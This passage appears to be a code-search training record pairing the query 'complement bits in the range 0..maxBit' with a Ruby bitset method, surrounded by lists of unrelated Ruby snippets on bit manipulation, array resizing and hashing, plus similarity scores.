"def set(index, numBits, value)\n andMask = 2**numBits - 1 # 000000001111\n andMask = andMask << (index % @@wordBits) # 000011110000\n andMask = andMask ^ @xorMask # 111100001111\n @bits[index/@@wordBits] &= andMask # bbbb0000bbbb\n valMask = value << (index % @@wordBits) # 0000vvvv0000\n @bits[index/@@wordBits] |= valMask # bbbbvvvvbbbb\n end",
"def set_bits(n, m, i, j)\n #Reset N's bits to zero from i to j(backwards starting with 0)\n #Set M's bit to N starting from j\n\n max = ~0\n #1's till position j, then zeroes\n left_bits = max - ((1<<j)-1)\n right_bits = ((1<<i)-1)\n mask = left_bits | right_bits\n (n & mask) | (m << i)\nend",
"def reset_mask_for column_name, *fields\n fields = bitfields if fields.empty?\n max = bitfield_max(column_name)\n (0..max).sum{|i| 2 ** i} - only_mask_for(column_name, *fields)\n end",
"def bit_shift_count_for(operand, size)\n\t\toperand.v_bit.zero? ? 1 : (@cx.low > size ? size : @cx.low)\n\tend",
"def bit_length\n (negative? ? -self : self + ONE).log2.ceil\n end",
"def get_bits need\n\t\tval = @bit_bucket\n\t\twhile @bit_count < need\n\t\t\tval |= (@input_buffer[@in_pos+=1] << @bit_count)\n\t\t\t@bit_count += 8\n\t\tend\n\t\t\n\t\t@bit_bucket = val >> need\n\t\t@bit_count -= need\n\t\tval & ((1 << need) - 1)\n\tend",
"def test_012_grow()\n nBits = 10\n TestVals.each do |sVal|\n bs = BitString.new(sVal)\n msg = \"Test IndexError raised for unbounded grow(#{-nBits})\"\n assert_raise(IndexError, msg) do\n bs.grow(-nBits)\n end\n msg = \"Test IndexError raised for unbounded grow!(#{-nBits})\"\n assert_raise(IndexError, msg) do\n bs.grow!(-nBits)\n end\n msg = \"Test RuntimeError raised for unbounded grow(#{nBits})\"\n assert_raise(RuntimeError, msg) do\n bs.grow(nBits)\n end\n msg = \"Test RuntimeError raised for unbounded grow!(#{nBits})\"\n assert_raise(RuntimeError) do\n bs.grow!(nBits)\n end\n\n #\n # Loop for the default value.\n #\n [ nil, 0, 1 ].each do |defval|\n bcmd = \"bs.grow(#{nBits}\"\n bcmd += \", #{defval}\" unless (defval.nil?)\n [ nil, 'BitString::HIGH_END', 'BitString::LOW_END' ].each do |dir|\n dir = nil if (defval.nil?)\n cmd = bcmd\n cmd += \", #{dir}\" unless (dir.nil?)\n cmd += ')'\n idir = dir\n eval(\"idir = #{dir}\") unless (dir.nil?)\n #\n # Create the base bitstring, and then get the grown copy\n #\n bs = BitString.new(sVal, sVal.length)\n tbs = eval(cmd)\n cmd2 = cmd.sub(/(grow)\\(/, '\\1!(')\n eval(cmd2)\n cmd.sub!(/^bs/, '')\n cmd2.sub!(/^bs/, '')\n assert_equal(sVal.length + nBits,\n tbs.length,\n \"Test '#{sVal}'#{cmd}.length (#{tbs.to_s})\")\n assert_equal(sVal.length + nBits,\n bs.length,\n \"Test '#{sVal}'#{cmd2}.length (#{bs.to_s})\")\n if ((defval.nil? && idir.nil?) ||\n ((defval == 0) &&\n (idir.nil? || (idir == BitString::HIGH_END))))\n #\n # grow(nBits)\n # grow(nBits, 0)\n # grow(nBits, 0, BitString::HIGH_END)\n #\n assert_equal(0,\n tbs[sVal.length,nBits].to_i,\n \"Test '#{sVal}'#{cmd} fills high 0 (#{tbs.to_s})\")\n assert_equal(0,\n bs[sVal.length,nBits].to_i,\n \"Test '#{sVal}'#{cmd2} fills high 0 \" +\n \"(#{tbs.to_s})\")\n\n assert_equal(0,\n tbs[sVal.length,nBits].to_i,\n \"Test '#{sVal}'#{cmd} fills high 0 (#{tbs.to_s})\")\n assert_equal(0,\n bs[sVal.length,nBits].to_i,\n \"Test '#{sVal}'#{cmd2} fills high 0 (#{bs.to_s})\")\n elsif ((defval == 1) &&\n (idir.nil? || (idir == BitString::HIGH_END)))\n #\n # grow(nBits, 1)\n # grow(nBits, 1, BitString::HIGH_END)\n #\n assert_equal(2**nBits - 1,\n tbs[sVal.length,nBits].to_i,\n \"Test '#{sVal}'#{cmd} fills high 1 (#{tbs.to_s})\")\n assert_equal(2**nBits - 1,\n bs[sVal.length,nBits].to_i,\n \"Test '#{sVal}'#{cmd2} fills high 1 (#{bs.to_s})\")\n elsif ((defval == 0) && (idir == BitString::LOW_END))\n #\n # grow(nBits, 0, BitString::LOW_END)\n #\n assert_equal(0,\n tbs[0,nBits].to_i,\n \"Test '#{sVal}'#{cmd} fills low 0 (#{tbs.to_s})\")\n assert_equal(0,\n bs[0,nBits].to_i,\n \"Test '#{sVal}'#{cmd2} fills low 0 (#{bs.to_s})\")\n\n assert_equal(sVal.to_i(2),\n tbs[nBits,sVal.length].to_i,\n \"Test '#{sVal}'#{cmd} properly shifts and \" +\n \"low fills 0 (#{tbs.to_s})\")\n assert_equal(sVal.to_i(2),\n bs[nBits,sVal.length].to_i,\n \"Test '#{sVal}'#{cmd2} properly shifts and \" +\n \"low fills 0 (#{bs.to_s})\")\n elsif ((defval == 1) && (idir == BitString::LOW_END))\n #\n # grow(nBits, 1, BitString::LOW_END)\n #\n assert_equal(2**nBits - 1,\n tbs[0,nBits].to_i,\n \"Test '#{sVal}'#{cmd} fills low 1 (#{tbs.to_s})\")\n assert_equal(2**nBits - 1,\n bs[0,nBits].to_i,\n \"Test '#{sVal}'#{cmd2} fills low 1 (#{bs.to_s})\")\n\n assert_equal(sVal.to_i(2),\n tbs[nBits,sVal.length].to_i,\n \"Test '#{sVal}'#{cmd} properly shifts and \" +\n \"low fills 1 (#{tbs.to_s})\")\n assert_equal(sVal.to_i(2),\n bs[nBits,sVal.length].to_i,\n \"Test '#{sVal}'#{cmd2} properly shifts and \" +\n \"low fills 1 (#{bs.to_s})\")\n else\n assert(false, \"Missed case '#{sVal}'#{cmd}\\n\" +\n \"sVal=#{tbs.to_s}\\n\" +\n \"defval=#{defval.inspect}\\n\" +\n \"dir=#{dir.inspect}\")\n end\n end\n end\n end\n end",
"def >>(bits)\n value = @value / 2**bits.to_i\n if (bounded?)\n self.class.new(value, @length)\n else\n self.class.new(value)\n end\n end",
"def initialize(*initial_bits)\n @bits = initial_bits.map {|bit| convert_bit(bit) }.inject(:+) || 0\n\n @set_indexes = []\n @set_indexes += initial_bits.uniq if initial_bits\n end",
"def check_rehash!\n return if @size.to_f/@cardinality < LOAD_FACTOR_THRESHOLD\n\n @cardinality *= 2\n old_arr = @arr.dup\n @arr = []\n old_arr.each do |r|\n next unless r\n\n self.add(r.number, r.name)\n el = r\n while (el = el.next_rec)\n self.add(el.number, el.name)\n end\n end\n end",
"def fill_square(n, set, idx)\n set[idx] = n\n end",
"def copy_all(reg)\n if reg.respond_to?(:contains_bits?) && reg.contains_bits?\n unless reg.size == size\n puts 'Bit collection copy must be performed on collections of the same size.'\n puts 'You can fix this by calling copy on a subset of the bits you require, e.g.'\n puts ' larger_bit_collection[3..0].copy_all(smaller_bit_collection)'\n puts\n fail 'Mismatched size for bit collection copy'\n end\n # safely handle collections with differing with_bit_order settings\n with_lsb0 do\n reg.shift_out_with_index do |source_bit, i|\n if source_bit\n self[i].overlay(source_bit.overlay_str) if source_bit.has_overlay?\n self[i].write(source_bit.data)\n\n self[i].read if source_bit.is_to_be_read?\n self[i].store if source_bit.is_to_be_stored?\n end\n end\n end # of with_lsb0\n else\n write(reg)\n clear_flags\n end\n self\n end",
"def specific_max_size(number)\n [self.size, number].min\n end",
"def rehash(oldhash, size)\n (oldhash + 1) % size\n end",
"def unuse(n=1)\n self.used -= n\n end",
"def total_set\n self.inject(0) { |a, bucket| a += bucket.zero? ? 0 : 1; a }\n end",
"def recycle_bin_space\n recycle_bin_space = 0\n @bins.each do |bin|\n if bin.type == 'Recycle'\n recycle_bin_space = bin.bin_level.to_i + recycle_bin_space\n end \n end\n recycle_bin_space\n end",
"def generate_n_sets(array, number_of_sets)\n\nend",
"def resize!\n self.capacity *=2 \n new_store = StaticArray.new(capacity)\n self.length.times { |i| new_store[i] = self[i] } \n self.store = new_store\n end",
"def subsets(set)\n return [[]] if set.empty?\n smaller_set = set.take(set.count-1)\n smaller_subsets = subsets(smaller_set)\n bigger_subsets = []\n smaller_subsets.each do |smaller_subset|\n bigger_subsets << smaller_subset + [set.last]\n end\n\n smaller_subsets + bigger_subsets\nend",
"def get_bits need\n\t\t\tval = @bit_bucket\n\t\t\twhile @bit_count < need\n\t\t\t\tval |= (@input_buffer[@in_pos+=1] << @bit_count)\n\t\t\t\t@bit_count += 8\n\t\t\tend\n\n\t\t\t@bit_bucket = val >> need\n\t\t\t@bit_count -= need\n\t\t\tval & ((1 << need) - 1)\n\t\tend",
"def shift(ndigits)\n #This is a stub, used for indexing\n end",
"def initialize\n initialize__bit_set(BITS)\n end",
"def find_set()\n while(!found_target?(temp_set,target) and !temp_set.last.empty?)\n add_one_more_item(temp_set, target)\n # Removing duplicates causes an incredible speedup\n temp_set[temp_set.length-1] = temp_set.last.uniq\n end\n temp_set.length\n end",
"def restriction\r\n states.collect {|state| state.restriction }.push(0).max\r\n end",
"def reserve(limit: 1000)\n record_ids = Set.new\n while record_ids.size < limit && (record_id = Searchkick.with_redis { |r| r.rpop(redis_key) })\n record_ids << record_id\n end\n record_ids.to_a\n end",
"def queens_size\n # Special case to handle a bitset of 64 bits\n if @size == 8\n bits = 0\n (@size * @size).times { |i|\n if @state[i]\n bits += 1\n end\n }\n return bits\n end\n\n return @state.cardinality\n end",
"def greedy2_fill!(remaining_partitions)\n remaining_partitions.each do |src_partition|\n src_partition.sites.each do |site|\n\n smallest_bin = self.update_bin_sizes!.min\n target_partition = smallest_bin.list[src_partition.name]\n if target_partition.nil?\n smallest_bin.add!([Partition.new(src_partition.name, [site], src_partition.tree)])\n else\n target_partition.incr_add_sites!([site])\n end\n\n end\n end\n end",
"def getSet(n)\n\t((n%8).to_s(2).rjust(3,\"0\"))\nend",
"def resize!\n new_capacity = capacity * 2\n # make new StaticArray with capacity that's double the length of the original store\n new_store = StaticArray.new(new_capacity)\n # iterate and copy over all the elements to the new store \n length.times{ |i| new_store[i] = self[i]}\n # set self.capacity to new capacity\n # set selt.store to new store \n self.store = new_store\n self.capacity = new_capacity\n end",
"def maximize; end",
"def expand!(minimum_number_of_digits)\n if @repeat\n while @digits.size < minimum_number_of_digits\n @digits.push @digits[@repeat] || 0\n @repeat += 1\n end\n else\n @digits.push 0 while @digits.size < minimum_number_of_digits\n end\n self\n end",
"def generate_mask(palette_size)\n number_one_bits_array = Array.new(Math.log(palette_size, 2).ceil) { |index| (palette_size - 1) >> index & 1 }\n number_one_bits = number_one_bits_array.reduce(0) { |num, one_bit| num += one_bit }\n raise \"Invalid pallette size\" if number_one_bits & (number_one_bits - 1) != 0 or palette_size & (palette_size - 1) != 0 or palette_size <= 1\n palette_size - 1\n end",
"def not_in_place(max_bit)\n not_in_place(0, max_bit)\n end",
"def compute_need_bits; end",
"def greedy1_initial_alt3!(remaining_partitions)\n bin_index = 0\n virtual_size = 0\n remaining_partitions.each do |partition|\n average_site_size = partition.size / partition.sites.size\n z = 0\n while z < partition.sites.size && bin_index < @list.size\n # Number of sites of this partition to go in bin bin_index\n z_prime = [((@operations_lower_bound - @list[bin_index].size - virtual_size).to_f/average_site_size).ceil,\n partition.sites.size - z].min\n\n # Assign site to bin\n mid_site = partition.sites[z + z_prime / 2]\n dropped_partition = partition.drop_specific_site!(mid_site)\n @list[bin_index].add!([dropped_partition])\n\n # -1 because we dropped one site, so the index z is also -1\n z += z_prime - 1\n if z >= partition.sites.size\n virtual_size = z_prime * average_site_size - @operations_worst_case\n else\n virtual_size = 0\n bin_index += 1\n end\n end\n end\n remaining_partitions\n end",
"def resize!\n @capacity *= 2\n new_store = StaticArray.new(@capacity)\n (0...@length).each do |idx|\n if idx < @start_idx\n new_store[idx] = @store[idx]\n else\n new_store[idx + @length] = @store[idx]\n end\n end\n @store = new_store\n @start_idx += @length\n end",
"def init_bitarray(max_bits)\n\t\t@bitmap = Array.new(max_bits, 0) # create a new array with the max size and initialize it to zero\n\tend",
"def push bit\n @array.push 0 if @array.size <= @end_bit / 32\n @array[-1] = set_bit(@array.last, @end_bit % 32) if bit == 1\n @end_bit +=1\n end",
"def fully_extend_all reps=nil\n dist.branches.times do |i|\n hits = mapee(i).hits\n len = mapee(i).length\n mapee(i).clear_hits\n reps = (@len.to_f / len).round if reps.nil?\n mapee(i).length = @len\n reps.times do |j|\n new_hits = HitSq.new\n new_hits << hits\n new_hits * (1.0/reps)\n new_hits + (j.to_f / reps)\n# puts new_hits.hits.inspect\n mapee(i) << new_hits\n end\n# puts mapee(i).hits.hits.inspect\n end\n end",
"def num_uniq\n Set[*self].size\n end",
"def generate_total_bit_sequence(initial_bits)\r\n intial_bits = initial_bits\r\n for i in (@q)..@total_no_of_bits\r\n initial_bits << (initial_bits[i-@r]+initial_bits[i-@q])%2\r\n end\r\n return initial_bits\r\n end",
"def set(bit, value = true)\n if value\n @bits = union convert_bit(bit)\n @set_indexes << bit unless @set_indexes.include?(bit)\n elsif set?(bit)\n @bits = xor convert_bit(bit)\n @set_indexes.delete(bit)\n end\n\n @bits\n end",
"def js_shr_zf(count)\n self >> count & (2**(32 - count) - 1)\n end",
"def limit_rubies\n @limits = [[1, 1], [2, 2], [1, 1], [0, 3], [3, 0], [2, 2], [2, 2]]\n end",
"def data_b\n ~data & ((1 << size) - 1)\n end",
"def __remainder=(v) # only keep relevant bits of the remainder\n if v != 0\n num_bits = self.class.type.size * 8\n num_used_bits = self.class.map.value.collect { |v, _, _| v }.select { |v| v > 0 }.sum(:+)\n if num_used_bits < num_bits\n v &= ((( 1 << (num_bits - num_used_bits)) - 1) << num_used_bits)\n else\n v = 0\n end\n end\n @__remainder = v\n end",
"def delete_bit(collection)\n [collection.name].flatten.each do |name|\n @lookup.delete(name)\n end\n collection.each do |bit|\n @bits.delete_at(bit.position) # Remove the bit\n @bits.insert(bit.position, Bit.new(self, bit.position, writable: @init_as_writable))\n end\n self\n end",
"def brute_resolve(num)\n while num != 1 && num != 89 do\n num = shrink num\n end\n num\nend"
] |
[
"0.622211",
"0.610392",
"0.59478194",
"0.5849461",
"0.5742779",
"0.57421404",
"0.5702256",
"0.56541765",
"0.56541765",
"0.56228447",
"0.56228447",
"0.56068176",
"0.55627155",
"0.55414575",
"0.5527268",
"0.54543406",
"0.54463017",
"0.54258037",
"0.5410018",
"0.54065776",
"0.5401464",
"0.53917825",
"0.5361874",
"0.53405756",
"0.53235716",
"0.53198415",
"0.5317809",
"0.53051347",
"0.5272928",
"0.5269186",
"0.52639234",
"0.5252169",
"0.52348",
"0.52321464",
"0.5229663",
"0.5225731",
"0.5219906",
"0.52152085",
"0.5209208",
"0.5208224",
"0.5202354",
"0.51949537",
"0.5172016",
"0.51638883",
"0.5163218",
"0.5150025",
"0.5138613",
"0.5135329",
"0.5126335",
"0.51208675",
"0.5114588",
"0.5104536",
"0.5104422",
"0.50588393",
"0.5040265",
"0.50296164",
"0.50269216",
"0.5024488",
"0.50149596",
"0.5011262",
"0.5006218",
"0.4988811",
"0.4976576",
"0.49692023",
"0.49640438",
"0.49610898",
"0.49525496",
"0.49516186",
"0.4937863",
"0.49306574",
"0.4926962",
"0.49215862",
"0.4918935",
"0.49180815",
"0.4917114",
"0.49151254",
"0.48918313",
"0.48890865",
"0.48743942",
"0.48625687",
"0.48617202",
"0.485994",
"0.48596495",
"0.48576322",
"0.48535877",
"0.48320252",
"0.4817589",
"0.48164728",
"0.481498",
"0.48113534",
"0.4809108",
"0.48061857",
"0.4803658",
"0.47995135",
"0.4787455",
"0.4778762",
"0.47775108",
"0.47749153",
"0.47724622",
"0.47554994"
] |
0.6301504
|
0
|
Get the first element you find and return it. Return Label.INVALID otherwise.
|
def get_single_element
i = 0
while i < (@bits.attr_length << LOG_BITS)
if (member(i))
return i
end
i += 1
end
return Label::INVALID
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def first\n @elements.empty? ? nil : @elements[0]\n end",
"def first\n # return value if head node is set\n if !@head.nil?\n @head.value\n else\n # otherwise raise an exception\n raise \"List is empty\"\n end\n end",
"def first_ele(class_name)\n ele_index class_name, 1\n end",
"def get_first\r\n # if the list is empty, head is nil\r\n if @head.nil?\r\n return nil\r\n else \r\n value = @head.data\r\n return value\r\n end\r\n end",
"def peek_first\n raise 'No such element' if @size == 0\n @head.value\n end",
"def find_first(selector, data)\n data = @data unless data\n results = (data/selector)\n if results and results.first\n results.first.inner_html.strip\n else\n nil\n end\n end",
"def first!\n fail_not_found_if_nil(first)\n end",
"def first\n @current = self.head if self.head\n @current.value rescue nil\n end",
"def first_ele tag_name\n # XPath index starts at 1\n find_element :xpath, \"//#{tag_name}[1]\"\n end",
"def find_first(xpath, nslist = nil)\n find(xpath, nslist).first\n end",
"def get_first\n current = @head\n return nil if current.nil?\n \n return @head.data\n end",
"def get_first\n return head ? head.data : nil\n end",
"def label\n elements.select { |e| e.respond_to?(:label) }.first.label\n end",
"def get_first\n if @head == nil\n return nil\n else\n return @head.data\n end\n end",
"def get_first_element(arr)\n return arr.first()\nend",
"def get_first\r\n if @head \r\n return @head.data\r\n else \r\n return nil\r\n end\r\n end",
"def get_first\r\n return @head ? @head.data : nil\r\n end",
"def first\n all[0]\n end",
"def find_first(*paths)\n xpath(*paths).first\n end",
"def get_first\n return @head ? @head.data : nil\n end",
"def get_first\n return nil if head.nil?\n return head.data\n end",
"def first\n self[0]\n end",
"def first\n self[0]\n end",
"def get_first_element(arr)\n arr.first\nend",
"def first\r\n self[0]\r\n end",
"def dom_class_first(object, array)\n if (object == array.first)\n return \"first\"\n end\n nil\n end",
"def get_first\n \n return nil if @head.nil?\n return @head.data\n \n end",
"def get_first\n @head == nil ? nil : @head.data\n end",
"def get_first\n return nil if @head.nil?\n return @head.data\n end",
"def get_first\n return @head.nil? ? nil : @head.data\n end",
"def get_first\n return @head.nil? ? nil : @head.data\n end",
"def get_first\n return nil if !@head\n return @head.data\n end",
"def get_first\n return nil if @head.nil?\n\n return @head.data\n end",
"def get_first\n return nil if @head.nil?\n\n return @head.data\n end",
"def first\n\n wi(fetch_all({}).first)\n end",
"def get_first\n @head.nil? ? nil : @head.data\n end",
"def first\n self.take(1)[0]\n end",
"def one\n if size == 0\n raise \"Could not find any records\"\n elsif size > 1\n raise \"Search returned multiple records when only one was expected\"\n else\n first\n end\n end",
"def get_element(path)\n elements = get_elements(path)\n elements[0] if elements\n end",
"def first\n @ordered_elements.first\n end",
"def get_first\n return @head.data if @head\n return @head\n end",
"def get_first\n return @head if @head.nil?\n\n return @head.data\n end",
"def first\n to_a.first\n end",
"def get_first(e)\n return e.value1\nend",
"def first_value\r\n get(@first_index)\r\n end",
"def first\n self[0]\n end",
"def first_of(array)\n output = array[0]\n return output\nend",
"def retrieve_first_element_from_array(array)\n array.first\nend",
"def xpath_first(doc, path, pnamespace = '')\n elements = xpath_all(doc, path, pnamespace)\n (elements != nil) ? elements.first : nil\n end",
"def first\n\t\traise \"ContainerEmpty\" if @head.nil?\n\t\t@head\n\tend",
"def first()\n @tiers.each do |tier|\n unless tier.empty?()\n return tier[0]\n end\n end\n \n return nil\n end",
"def first\n\n @items.values.first\n end",
"def xpath_first(doc, path, pnamespace = '')\n elements = xpath_all(doc, path, pnamespace)\n (elements != nil) ? elements[0] : nil\n end",
"def first_value(tag)\n tag_summary(tag).first[1].first\n end",
"def first\n check_corrupted\n cache_ele if @eles.empty?\n return @eles.first\n end",
"def peek\n raise 'No such element' if @elements.length == 0\n @elements[-1]\n end",
"def get_id_of_first_result\n if @items.size > 0\n @items[0].each_element_with_attribute('name', 'id' ) { |element| return element.text() }\n end\n end",
"def first\n items.compact.first\n end",
"def retrieve_first_element_from_array(array)\n return array[0]\nend",
"def first\n limit(1).to_a.first\n end",
"def using_first(array)\n first_element=array.first\nend",
"def first_of(arr)\n return arr[0]\nend",
"def first_of(arr)\n return arr[0]\nend",
"def first_of(arr)\n return arr[0]\nend",
"def first_text\n first_ele UIAStaticText\n end",
"def get_first\r\n @head&.data\r\n end",
"def first_element_child\n n = self.first_child\n while n do\n if n.node_type == ELEMENT_NODE then\n break\n end\n n = n.next_sibling\n end\n return n\n end",
"def first\n all.first\n end",
"def first\n all.first\n end",
"def first\n all.first\n end",
"def first\n @head.val\n end",
"def first_of(array)\n return array[0]\nend",
"def first_of(array)\n return array[0]\nend",
"def first\n all.first\n end",
"def first\n all.first\n end",
"def first\n all.first\n end",
"def first\n all.first\n end",
"def first!\n first or raise RecordNotFound\n end",
"def first!\n first || raise_record_not_found_exception!\n end",
"def first\n response = query(:per_page => 1, :page => 1).get!\n response[:results].first\n end",
"def first\n result ? all.first : limit(1).all.first\n end",
"def retrieve_first_element_from_array(array)\n array[0]\nend",
"def dom_class_first(object, array)\n\t\tif (object == array.first)\n\t\t\treturn \"first\"\n\t\tend\n\t\tnil\n\tend",
"def first() end",
"def node_first\n @head\n end",
"def using_first(array)\narray.first\nend",
"def first_element(array)\n array[0]\nend",
"def first ; list.first ; end",
"def first\n @values.first\n end",
"def first_textfield\n ele_by_json _textfield_visible\n end",
"def at(xpath)\n self.find_first(xpath)\n end",
"def using_first(array)\n array.first\nend",
"def using_first(array)\n array.first\nend",
"def using_first(array)\n array.first\nend",
"def using_first(array)\n array.first\nend",
"def first_key\n first = node_next(@head, 0)\n return first ? first[1] : nil\n end",
"def first_key\n first = node_next(@head, 0)\n return first ? first[1] : nil\n end",
"def first_item\n @children[@items.first]\n end",
"def get_first_contained_element phemaObj\n @id_element_map.find { |key, val| val[\"id\"] == phemaObj[\"containedElements\"][0][\"id\"] } if phemaObj[\"containedElements\"] && phemaObj[\"containedElements\"].length > 0\n end",
"def first_or_nil(lst)\n return nil if lst.nil?\n lst.first\nend"
] |
[
"0.6968261",
"0.674775",
"0.6674582",
"0.6669718",
"0.65503645",
"0.6480103",
"0.6413922",
"0.6396592",
"0.6378088",
"0.6366179",
"0.63170093",
"0.62886256",
"0.628804",
"0.6278251",
"0.62723035",
"0.624766",
"0.62473387",
"0.62420064",
"0.6231049",
"0.6217431",
"0.6189819",
"0.617449",
"0.617449",
"0.616998",
"0.6161847",
"0.6146001",
"0.6127966",
"0.6116931",
"0.61167663",
"0.6112128",
"0.6112128",
"0.6108946",
"0.61082286",
"0.61082286",
"0.6099985",
"0.60872006",
"0.6081745",
"0.6069341",
"0.60572386",
"0.6050473",
"0.604354",
"0.60000145",
"0.5996604",
"0.5985595",
"0.5982164",
"0.5940286",
"0.5925322",
"0.59194887",
"0.59168786",
"0.5915948",
"0.59157914",
"0.5910878",
"0.591072",
"0.5907136",
"0.5901773",
"0.5898279",
"0.5897744",
"0.5895584",
"0.58953506",
"0.58777493",
"0.58769166",
"0.5874583",
"0.5874583",
"0.5874583",
"0.5871555",
"0.5858763",
"0.58580023",
"0.5857188",
"0.5857188",
"0.5857188",
"0.58551145",
"0.5854926",
"0.5854926",
"0.5852745",
"0.5852745",
"0.5852745",
"0.5852745",
"0.5847506",
"0.5830147",
"0.5829513",
"0.5819682",
"0.58194166",
"0.5818323",
"0.5816139",
"0.58095056",
"0.57925415",
"0.5790815",
"0.57905746",
"0.57454085",
"0.57451653",
"0.57449734",
"0.5741162",
"0.5741162",
"0.5741162",
"0.5741162",
"0.5740199",
"0.5740199",
"0.57375836",
"0.57350177",
"0.5730131"
] |
0.6739719
|
2
|
complement bits in the range 0..maxBit.
|
def not_in_place(max_bit)
not_in_place(0, max_bit)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def complement(bit)\n bit.succ % 2\n end",
"def not_in_place(min_bit, max_bit)\n # make sure that we have room for maxBit\n grow_to_include(max_bit)\n i = min_bit\n while i <= max_bit\n n = word_number(i)\n @bits[n] ^= bit_mask(i)\n i += 1\n end\n end",
"def find_complement(num)\n result = 0\n\n num_bits = num.to_s(2).chars.map(&:to_i) # Convert to binary (base 2) and map to integers\n\n num_bits.reverse.each_with_index do |n, idx|\n n = n == 0 ? 1 : 0\n result += 2 ** idx * (n) # Convert to base 10\n end\n\n result\nend",
"def not\n ~@bits\n end",
"def complement!\n raise RuntimeError, \"Data is not valid Binary: #{self}\" unless self.is_bitstring?\n complement = \"\"\n\n self.each_byte do |char|\n complement << ((char.chr == \"0\") ? \"1\" : \"0\")\n end\n\n self.replace(complement)\n end",
"def diminished_radix_complement(int)\n if int > UID_MAX\n int - UINT\n else\n int\n end\n end",
"def bitnot(b)\n (~b)&1\nend",
"def -(other)\n self & other.complement\n end",
"def convert_to_signed_twos_complement(integer)\n upper = 2**BITS\n upper - integer\n end",
"def bitMaxMin n\n l=2**n\n min=-l/2\n max=-min-1\n return max,min\nend",
"def complement?\n @complement\n end",
"def IntegerComplement(n)\n\n complements = {\n '0' => '1', # => \"1\"\n '1' => '0' # => \"0\"\n } # => {\"0\"=>\"1\", \"1\"=>\"0\"}\n\n binary = n.to_s(2) # => \"110010\"\n\n #Solution 1: using Ruby's .to_i with base (2) method\n new_binary = '' # => \"\"\n binary.chars.each { |e| new_binary << complements[e] } # => [\"1\", \"1\", \"0\", \"0\", \"1\", \"0\"]\n new_binary # => \"001101\"\n new_decimal = new_binary.to_i(2) # => 13\n\n\n #Solution 2: Evaluating complement's decimal manually\n comp_binary = [] # => []\n binary.chars.each { |e| comp_binary << complements[e] } # => [\"1\", \"1\", \"0\", \"0\", \"1\", \"0\"]\n comp_binary # => [\"0\", \"0\", \"1\", \"1\", \"0\", \"1\"]\n\n comps = [] # => []\n comp_binary.reverse.each_with_index { |e, i| comps << (e.to_i) * (2**i) } # => [\"1\", \"0\", \"1\", \"1\", \"0\", \"0\"]\n comps # => [1, 0, 4, 8, 0, 0]\n decimal_complement = comps.reduce(:+) # => 13\n\n\n p new_decimal # => 13\n p decimal_complement # => 13\n\nend",
"def complement\n RegLang.new(to_dfa.complement)\n end",
"def complement\n\t\t\tc = Xmms::Collection.new(Xmms::Collection::TYPE_COMPLEMENT)\n\t\t\tc.operands << self\n\t\t\tc\n\t\tend",
"def unsigned_not(int)\r\n bits = int.bit_length\r\n bits = (bits / 4.0).ceil.to_i * 4 # round to nearest half-byte\r\n mask = (1 << bits) - 1\r\n return mask - int\r\n end",
"def flip_bit(integer)\n binary = integer.to_s(2)\n max = 0\n current = 0\n prev = 0\n gap = 0\n\n binary.each_char do |char|\n if char == '1'\n current += 1\n gap = 0\n elsif char == '0'\n prev = current unless gap > 1\n current = 0\n gap += 1\n end\n max = [prev + current + 1, max].max\n end\n\n max\nend",
"def ~()\n newval = (~ @value) & self.mask\n bounded? ? self.class.new(newval, @length) : self.class.new(newval)\n end",
"def test_complement\n g = Grammar.new(\"parser grammar t;\\n\" + \"a : ~(A | B | C) | C {;} ;\\n\" + \"b : X Y Z ;\")\n expecting = \".s0-C->:s2=>2\\n\" + \".s0-X..Z->:s1=>1\\n\"\n check_decision(g, 1, expecting, nil, nil, nil, nil, 0)\n end",
"def convert_binary_to_signed_negative(address)\n twos_compliment = convert_to_signed_twos_complement address.to_i(2)\n HumanComputer::Processor.eight_bitify twos_compliment\n end",
"def complement_1(array, sum)\n complements = []\n array.each do |operand|\n complement = sum - operand\n complements.push [operand, complement] if array.include? complement\n end\n complements\nend",
"def to_i\n bitmask\n end",
"def complement\n newvalues = self.rgba[0..-2].map {|v| Range.O.complement( v )}\n newvalues += [self.a]\n return Color[ *newvalues ]\n end",
"def bitwise_not(a)\n\tresult = ''\n\ta.each_char do |val|\n\t\tif val == '1' \n\t\t\tresult.concat '0'\n\t\telse\n\t\t\tresult.concat '1'\n\t\tend\n\tend\n\treturn result\nend",
"def bits(num, table) \n max = 0\n\n i_max = num / 2\n for i in 0..i_max\n cand = table[i] + table[num-i]\n if max < cand\n max = cand\n end\n end\n\n return max\nend",
"def set_bits\n bits = []\n 0.upto(63) {|i| bits << i if set?(i)}\n bits\n end",
"def bitmask(int)\n return int.to_s(2).reverse.split('')\n end",
"def bit_xor(x, bits)\n bits.map{|b| x[b]}.reduce(:^)\n end",
"def to_i\n bitmask\n end",
"def complement!\n tmp = self.from\n self.from = self.to\n self.to = tmp\n tmp = self.from_orient\n self.from_orient = (self.to_orient == :+) ? :- : :+\n self.to_orient = (tmp == :+) ? :- : :+\n self.overlap = self.complement_overlap\n return self\n end",
"def last_non_trailing(bit, n)\n bits = count_trailing_bits(bit, n)\n return nil unless bits\n\n complement_bits = count_trailing_bits(complement(bit), n, bits)\n return nil unless complement_bits\n\n bits + complement_bits\n end",
"def bits()\n return(NetAddr.mask_to_bits(@netmask))\n end",
"def reverse_bits(n)\n bin = n.to_s(2)\n while bin.length < 32\n bin = \"0\" + bin\n end \n bin.reverse.to_i(2)\nend",
"def bit_flip(arr, n)\n #YOUR WORK HERE\nend",
"def reset_mask_for column_name, *fields\n fields = bitfields if fields.empty?\n max = bitfield_max(column_name)\n (0..max).sum{|i| 2 ** i} - only_mask_for(column_name, *fields)\n end",
"def clearBitsIthrough0(num, i)\n mask = -1 << i\n mask & num\n end",
"def bits\n\t\t# Get a safe copy of the @bits array\n\t\tbts = @bits.clone\n\t\t##\n\t\t# If carrying and not [HACK catch the pattern tha breaks it by adding an extrax 1]\n\t\t##\n\t\tif @carrying && @bits[0,4] != [1, 0, 0, 0]\n\t\t\tbts\t\t= [1].concat @bits\n\t\tend\n\t\t# Return to the caller\n\t\tbts\n\tend",
"def mask_bits\n mask_bits = 0\n shifted_mask = @mask_addr\n (1..32).each do |_i|\n mask_bits += 1 if (shifted_mask & 0x1) == 1\n shifted_mask = shifted_mask >> 1\n end\n return mask_bits\n end",
"def relative_complement(other)\n this_where = self.collapsed_where\n other_where = other.collapsed_where\n self.where_only(this_where.not.and(other_where))\n end",
